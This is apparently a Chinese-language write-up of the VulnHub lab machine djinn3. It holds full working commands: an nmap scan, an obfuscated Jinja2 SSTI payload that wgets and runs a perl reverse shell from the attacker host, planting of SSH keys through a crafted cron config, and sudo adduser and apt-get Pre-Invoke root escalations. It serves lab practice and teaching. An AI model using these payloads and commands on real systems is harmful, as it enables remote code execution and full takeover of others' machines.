一:信息收集
1:主机发现
2:端口扫描
nmap -sV -p- -T4 10.9.23.26
3:端口探测
1:访问80端口,没有找到有用的信息
2:访问5000端口,提到一个默认用户guest
3:nc连接31337端口,需要输入用户名和密码,尝试刚刚的guest/guest,成功登录,这个是和5000端口相关联的,在这里创建,5000端口用于显示
nc 10.9.23.26 31337
反复测试发现存在ssti漏洞
SSTI (Server-Side Template Injection) 漏洞是一种常见的Web应用程序漏洞,允许攻击者在服务器端注入恶意代码到应用程序的模板中。这种漏洞通常发生在使用模板引擎的Web应用程序中,攻击者可以利用这个漏洞执行任意代码,包括读取敏感数据、控制服务器等。
在twig模板会以乘积结果显示,而jinja2中则是以乘方显示
{{7*'7'}}
二:渗透测试
1:漏洞利用
https://github.com/swisskyrepo/PayloadsAllTheThings
找到jinja2的那个payload
以上结果说明ssti引擎是jinja2,网上搜集jinja2的反弹shell,搜索ssti的payload,得到
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
把id改成wget,然后加上我们攻击机的反弹shell文件,使用perl,注意要改下文件里的ip和端口
路径/usr/share/webshells/perl/perl-reverse-shell.pl,使用的时候需要修改文件中的ip,并将文件复制到根目录下
最终我们要使用的payload就是下面这个
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('wget http://10.9.23.112/perl-reverse-shell.pl;perl perl-reverse-shell.pl')|attr('read')()}}
然后把上面的内容放在31337端口新建的ticket里面,kali用python开启http服务,然后进入5000端口,点击link即可得到shell
打开nc监听
反弹成功
python提权
python -c "import pty;pty.spawn('/bin/bash')"
2:ssh
然后把pspy64上传到靶机的tmp目录里,pspy64是检测主机的进程工具,运行发现存在两个py文件,搜索saint的文件
发现存在两个py文件,搜索saint的文件
find / -user saint 2>/dev/null
根据这两个python程序的源码,在/tmp下新建一个文件,文件名字为25-03-2024.config.json,内容如下,本地服务器的authorized_keys文件的内容是使用ssh-keygen生成的id_rsa.pub文件内容
{
"URL":"http://10.9.23.112/authorized_keys",
"Output":"/home/saint/.ssh/authorized_keys"
}
用ssh-keygen工具生成id_rsa.pub和id_rsa文件,keys文件就是id_rsa.pub的内容,然后kali开启http服务(这里由于靶机创建文件比较难,可以在kali新建json文件,然后靶机去下载)
等待片刻,进入kali的/root/.ssh目录下,直接连接saint用户即可
3:提权
执行sudo -l,发现可以免密执行adduser命令,添加一个root组的用户
查看sudoers文件,查看还有哪些用户可以使用sudo执行命令,发现一个jason用户,但是这个用户并不存在,但是我们是可以新建用户的,所以需要密码(自己的密码)才能执行这个也就没有问题
sudo adduser choudan -gid=0
exit退回到saint用户,新建jason用户
切换到jason用户,使用apt-get命令提权
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
靶机结束
标签:文件,attr,端口,djinn3,perl,x5f,vulnhub,saint,靶机 From: https://www.cnblogs.com/woaishuaidan/p/18095258